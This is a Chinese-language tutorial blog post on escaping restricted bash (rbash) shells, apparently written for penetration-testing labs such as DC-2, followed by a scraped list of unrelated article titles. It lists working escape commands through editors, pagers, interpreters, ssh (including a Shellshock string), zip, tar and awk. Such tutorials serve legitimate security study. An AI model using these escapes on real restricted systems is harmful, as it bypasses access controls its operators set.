一、rbash简述

1.什么是rbash

  • 它与一般shell的区别在于会限制一些行为,让一些命令无法执行

2.如何设置一个rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

二、枚举Linux环境(为逃逸做信息收集)

1.检查可用的命令

  • 如 cd、ls、su 等

2.检查可用的操作符

>   >>   <   |  等

3.root身份可以运行的命令

sudo -l # sudo应该也会被禁用

4.检查shell

echo $SHELL   # 基本都是/bin/rbash

5.检查可用的编程语言

python  perl  ruby 等

6.检查环境变量
执行:env/printenv


三、常见的逃逸技术

1.“/”字符被允许了

  • 如果/被允许我们可以直接运行:/bin/bash

2.cp命令被允许

  • 可以直接复制/bin/bash到本地用户目录
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh

3.常见应用
探测系统中是否存在常见应用

  • FTP,GDB(调试程序的工具)等。

    • 执行:ftp > !/bin/sh
    • 执行:gdb > !/bin/sh
  • man/git
    • 执行:man > !/bin/sh
    • 执行:git > git help status
  • vi/vim
> vim test
:!/bin/sh # 利用在vi/vim中可以执行命令的特点
  • more/less
> more test
!/bin/sh # 同样也是利用打开文件后可以在下面运行命令的特点

4、set shell(DC-2靶机使用它成功了)

  • 在一些编辑器中可以设置shell变量然后执行,如vim中
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

5.更改PATH或SHELL环境变量

  • 执行:export -p # 查看系统的环境变量设置
  • PATH 和 SHELL 变量的权限设置很可能是:“-rx” ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash

6.编程语言

  • 语言可以帮助我们切换shell的类型
  • (1) python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
  • (2) php
php -a then exec("sh -i")
  • (3) perl
perl -e "exec '/bin/sh';"
  • (4) lua
os.execute('/bin/sh')
  • (5) ruby
exec "/bin/sh"

7.其他可以尝试的方法

  • ssh
ssh username@IP -t "/bin/sh" or "/bin/bash"
  • ssh2
ssh username@IP -t "bash --noprofile"
  • ssh3
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
  • ssh4
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
  • zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  • tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
  • awk(超级玛丽靶机使用它成功了)
awk 'BEGIN {system("/bin/bash")}'

8、另类方法(DC-2靶机使用它成功了)

  • 在命令行依次执行如下所示的命令
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a # 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

【渗透测试】--- rbash逃逸方法简述相关推荐

  1. 灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术(第3版)

    基本信息 灰帽黑客:正义黑客的道德规范.渗透测试.攻击方法和漏洞分析技术(第3版)原书名: Gray Hat Hacking: The Ethical Hacker's Handbook, Third ...

  2. 【十年网络安全工程师整理】—100渗透测试工具使用方法介绍

    渗透测试是指渗透人员在不同的位置(比如从内网.从外网等位置)利用各种手段对 某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告, 并提交给网络所有者.网络所有者根据渗透人员提供 ...

  3. 简单学习kali高级渗透测试思路方法

    前言 KaliLinux面向专业的渗透测试和安全审计,集成了大量精心挑选的安全检测工具.Kali Linux高级渗透测试在KaliLinux平台上从一个攻击者的角度来审视网络框架,详细介绍了攻击者&q ...

  4. 渗透测试原理与基本进程

    渗透测试流程与方法 渗透测试简介: 渗透测试(penetrationtest)是模拟黑客攻击对业务系统进行安全性测试,比黑客更早发现可导致企业数据泄露.资产受损.数据被篡改等漏洞,并协助企业进行修复. ...

  5. 渗透测试:正义黑客的渗透测试以及该过程和黑客活动的区别

    2019独角兽企业重金招聘Python工程师标准>>> 渗透测试是正义黑客大展身手的地方.他们可以对漏洞评估中识别出的许多漏洞进行测试,以量化该漏洞带来的实际威胁和风险. 当正义黑客 ...

  6. 想悄悄的做渗透测试?这里的工具足够你用了

    想学渗透测试,还是要站在巨人工具的肩膀上测试工具大汇总,建议收藏 工具是多么的重要呀~~~,维护网络安全,人人有责哦总结第二波: 上一波链接: [十年网络安全工程师整理]-100渗透测试工具使用方法介 ...

  7. 渗透测试职业规划-三省吾身

    被一次面试折腾了一个多月后,陷入了深深的迷茫,开始三省吾身! 作为初中级渗透,职业方向该如何选择?以下仅通过部分大厂招聘数据,简单探讨一下如何规划职业发展路径. 先上一波总结: l 至少需要本科学历及 ...

  8. 作为一个渗透测试学习者必知必读的好书推荐

    0x00 前言 至于书籍推荐这个话题,很多前辈都回答过了,但还是有很多刚入门的小伙伴还是一言不合就问该看书籍,作为一个搞Web安全的菜鸟忠恳告诉你,你第一本该看的书是<提问的智慧>,附上一 ...

  9. 【保姆级】黑客入门教程「Python安全攻防:渗透测试实战指南」经典纯狱风~

    前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...

  10. 黑客零基础入门教程《Python安全攻防:渗透测试实战指南》极致经典,学完即可包吃包住

    前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...

最新文章

  1. OpenCV安全屏障摄像机Security Barrier Camera的实例(附完整代码)
  2. javascript之闭包理解以及应用场景
  3. cdn节点人少延迟高_如何正确配置CDN高速缓存,避免越用越慢的尴尬
  4. 数据库 统计数据收集 有什么作用_《原神》荒山孤剑录2/5收集汇总 荒山孤剑录作用是什么...
  5. Java中常见RuntimeException与其他异常表及Exception逻辑关系详解
  6. 准备好要上传到 Azure 的 Windows VHD 或 VHDX
  7. python面板数据分析代码_【译】用python做计量之面板数据模型
  8. BZOJ 3669 luogu 2387 魔法森林
  9. h30-t10 android phone,荣耀3C移动2G版(H30-T10)官方完整版ROM全合集!!!
  10. Ant-Table查看详情
  11. 八款PM常用〖项目管理〗工具
  12. 如何使用Yii2编程:Google身份验证
  13. 昆石VOS2009/VOS3000 2.1.6.00 新功能介绍
  14. 5-3 外星人颜色#1
  15. 【阿里物联平台】阿里物联平台设备接入——基于LinkSDK_v4_001
  16. adobe flash builder flex 4.6 下载地址
  17. java String中文字符串分割成数组 中文字符串分割成一定长度的字符串数组
  18. 2D分割算法应用于医学影像3D图像
  19. Dubbo系列5:Dubbo协议
  20. 【Android高级进阶】论一个普通大学电子商务大三学生,flutter项目案例

热门文章

  1. codeblocks编译运行后出现无效的16位应用程序,不兼容64位windows
  2. 英伟达显卡算力榜(nvidia GPU compute capability)
  3. 主机内存测试软件,检测内存条的软件有哪些?内存条查看工具介绍
  4. 贝叶斯公式的理解【转】
  5. 温度及pH敏感性聚乙烯醇/羧甲基壳聚糖水凝胶/金银花多糖/薄荷多糖/O-羧甲基壳聚糖水凝胶
  6. vue中变量名前加三个点代表什么意思
  7. 原生JS实现中文简繁切换
  8. win10和win7两个计算机相连,详解win10两台电脑网线直连的操作方法
  9. FCC算法:十三、过滤数组假值--Falsy Bouncer
  10. SpringBoot进阶-寻找附近的人,Redis实现交友APP(七)